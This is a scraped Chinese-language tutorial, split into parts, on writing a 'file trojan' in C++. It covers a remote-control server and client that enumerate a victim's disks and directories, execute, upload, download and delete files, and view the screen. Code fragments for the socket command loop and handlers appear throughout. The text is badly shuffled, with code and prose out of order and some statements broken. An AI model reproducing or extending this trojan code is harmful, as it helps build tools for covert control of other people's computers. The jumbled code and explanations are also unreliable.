C++实现文件传输

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
实现:枚举磁盘,枚举目录 , 获取文件信息 上传文件,下载文件,执行文件,创建目录,删除目录等
传输控制结构
要实现客户端与服务端的通信 , 设计一个合理的传输控制结构 轻松很多 , 为了使代码易读 首先对要使用的命令进行预定义其各个命令定义如下
, 会使后面的工作
#define GetDriver 0x01 // 磁盘信息
while(1)
{
if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//

受命令数据
{
cout<<"The Clinet Socket is Closed/n";
break;
}else
{
switch(command.ID)// 判断命令 ID
#define GetDirInfo 0x02 //
目录信息
#define ExecFile 0x03 // 执行文件
#define GetFile 0x04 // 下载文件
#define PutFile 0x05 // 上传文件
#define DelFile 0x06 // 删除文件
#define DelDir 0x07 // 删除目录
dwStyle |=TVS_HASBUTTONS | TVS_HASLINES | TVS_LINESATROOT; SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
对于列表框控件则没有太多要求,要留意的是,如果显示图标应该把 示属性设置为 ICON
Styles 显
文件名称
}FILEINFO;
服务端结构 服务端还是比较简单的其整体思路如下 1. 服务端循环接受连接 , 并把连接交给线程处理 2. 线程接受 " 命令数据 ", 并跟据命令 ID 将命令对像和 SOCKE句T 柄传给处理函数 3. 函数执行指定功能 , 并返回执行结果
对整体结构的描述 , 我们用伪代码表述如下
创建线程用于接受
}
对于用户发送的命令我们仍以删除文件为例说明其代码如下
void CMyDlg::OnMenuDelFile()
{
HTREEITEMCurrentNode = m_tree.GetSelectedItem(); // 取得选择的节点
CString FullPath =GetFullPath(CurrentNode); //
HANDLE hFile;
WIN32_FIND_DATA WFD;
memset((char*)&WFD,0,sizeof(WFD));
if((hFile=FindFirstFile((char*)command.lparam,&WFD))==INVALID_HANDLE_
VALUE) // 查看文件属性
#define CreateDir 0x08 // 创建目录
#define FileInfo 0x09 //
文件信息
#define GetScreen 0x10 // 查看屏幕
在程序的网络通信中主要有 操作命令 , 命令对像 , 和具体数据三部分 , 对于命令 的传输定义如下结构
typedef struct { int ID; // 操作命令 BYTE lparam[BUF_LEN*2]; // 命令对像
DWORD DelFileProc (COMMAND command,SOCKET client) { if(DeleteFile((char*)command.lparam)==0)//command.lparam 这里为要删除的文件路径 { send(client," 删除失败 ..."); } else { send(client," 删除成功 ..."); } }
这样再运行一下程序是不是感觉清新不少 ?
到这里程序的主要结构框架和界面实现就介绍完了, 下一篇将详细介绍其各种功 能的实现
c++实现文件传输之二
在上一篇中 , 我们以经介绍了程序的流程和框架 , 在本篇将详细讨论各个功能的 实现主要包括
1. 获取磁盘信息 2. 获取目录信息 3. 获取文件信息 4. 运行指定文件 5. 删除指定文件 6. 删除指定目录 7. 创建指定目录 8. 上传下载文件 9. 获取远程文件图标
到这里程序的流程框架就介绍完了,下面我们再看一下程序的界面设置 .
界面实现
程序的主界面如上图所示,主程序是一个对话框,主要包括一个树控件
m_tree
和列表控件 m_list 分别
用于显示磁盘目录和文件,在对话框初示化时用以下代码设置树控件的属性
DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
3 // 固定的驱动器
#define DRIVE_REMOTE 4 // 网络驱动器
#define DRIVE_CDROM
5 // CD-ROM
#define DRIVE_RAMDISK 6 // 随机存取 (RAM)磁盘
在上面的实例代码中我们只取 , 硬盘 , 光驱和移动磁盘
获取目录信息
这里只要枚举用户指定的目录就可以了 , 其实例代码如下 :
循环接受连接 传递 线程处
WSACleanup(); }
服务端程序运行后循环接受连接 , 如果有新的连接就传递给新的线程处理 , 线程 代码如下
DWORD WINAPI SLisen(LPVOID lparam) { SOCKET client=(SOCKET)lparam;
COMMAND command;
{
case GetDriver:// 将命令对像和 SOCKE句T 柄传递给处理函数
GetDriverProc (command,client);
break;
case DelFile:
DelFileProc (command,client);
break;
/* 其它命令 ......*/
}
}
}
}
线程式的功能是接受客户端的 " 命令数据 ", 并跟跟据命令 ID 将命令对像传递给 处理函数 , 由函数完成指定的功能 以删除文件命令为例其函数格式如下
获取磁盘信息
磁盘信息可以用 API GetDriveType 来实现 , 它以路径名作为参数 ( 如 C:/) 返回磁 盘类型 , 其实例代码如下
DWORD GetDriverProc(COMMAND command,SOCKET client) {
for(char i='A';i<='Z';i++) { char x[20]={i,':'}; UINT Type=GetDriveType(x); if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE||Type==DRIVE_CDROM) { /* 返回处理结果 ...*/ } } return 0; }
if(file.IsDirectory()) //
为目录
{
fi.IsDir=true;
}
strcpy(fi.FileName,file.GetFileName().LockBuffer()); //
保存文件名称
if(send(client,(char*)&fi,sizeof(cmd),0)==SOCKET_ERROR) { cout << "Send Dir is Error/n"; } } return 0; }
VC 的做出的界面,常常让人有种摔键盘的冲动。其实稍微留意一下其设置,也 可以让它漂亮一些 比如上图所示的界面就是经过简单设置得到的, 而没有用其它类库, 有点兴趣? 其设置方法为:
1. 在对话框属性中设置 Styles 的 Border 属性为 Thin 2. 选重 More Styles " 可见 " 属性 3. 选重 Extended Styles 的" 静态边 " 属性
取得节点全目录
COMMAND command;
command.ID=DelFile; // 设置命令为删除文件 // 删除文件
command.lparam=FullPath.LockBuffer()); //
将路径加入命令对像
send(server,command);
}
用于接受 SERVER返回信息的线程,和服务端接受命令线程相似,这里就不再说 明了,有兴趣可以看下源代码
c++实现文件传输之一:框架结构和界面实现
在木马中文件管理的重要性, 是无需质疑的, 对于文件的管理 , 做到并不难 , 但做 好却也不易在我们编写一个功能完整的“文件木马” 其实现效果如图所示。 为了文章的完整性, 我们将分为数篇来介绍, 本文主要介 绍程序的整体框架和界面实现, 在以后的文章中将以此框架为基础实现详细的功 能。
GetDriveType 可能返回的结果如下
#define DRIVE_UNKNOWN 0 // 无效路径名
#define DRIVE_NO_ROOT_DIR 1 // 无效路经,如无法找到的卷标
#define DRIVE_REMOVABLE 2 // 可移动驱动器
#define DRIVE_FIXED
DWORD GetDirInfoProc(COMMAND command,SOCKET client) { /*command为要枚举的路径如 (C:/)client 为返回结果的 SOCKE句T 柄 */
FILEINFO fi; memset((char*)&fi,0,sizeof(fi));
strcat((char*)command.lparam,"*.*");//
获取文件信息
以下实例代码用来获取 文件的名称 , 路径 , 时间 , 属性等信息
DWORD FileInfoProc (COMMAND command,SOCKET client)
{
/*command为要查看的文件如 (C:/TEST.EXE)client 为返回结果的 SOCKE句T 柄 */
FILEINFO fi;
main() { /* 初示化设置 ......*/
while(true) { if(client=accept(server,(sockaddr *)&clientaddr,&len))// { CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);// 理 } } /* 清理释放资源 ......*/
{
fi.Error=true;
return 0;
}
// 得到文件的相关信息
SHGetFileInfo(WFD.cFileName,
FILE_ATTRIBUTE_NORMAL,
&shfi, sizeof(shfi),
SHGFI_ICON|SHGFI_USEFILEATTRIBUTES|SHGFI_TYPENAME );
枚举所有文件
CFileFind file; BOOL bContinue = file.FindFile((char*)command.lparam);
while(bContinue) { memset((char*)&fi,0,sizeof(fi));
bContinue = file.FindNextFile();
为命令对像 ,
很容易看出 , 处理函数接受 " 命令对像 " 和客户端 SOCKE句T 柄 , 执行后会把结果传 递回去 ....
客户端结构
客户端结构的实现思路如下 1. 跟服务端建立连接 2. 发送用户命令 3. 启动一个线程 , 用于接受服务端的返回信息
对整体结构的描述 , 我们用伪代码表述如下
void CMyDlg::OnConnect()
{Leabharlann Baidu
if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//

接 ....
{
return ;
}
CreateThread(NULL,NULL,CLisen,this,NULL,NULL);// SERVER返回信息
}COMMAND;
因为在程序中打交道最多的就是文件 , 对文件的详细属性定义如下结构
typedef struct { char FileName[MAX_PATH]; // int FileLen; // 文件长度 char Time[50]; // 时间信息 BOOL IsDir; // 为目录否 BOOL Error; // 错误信息 HICON hIcon; // 图标句柄
相关文档
最新文档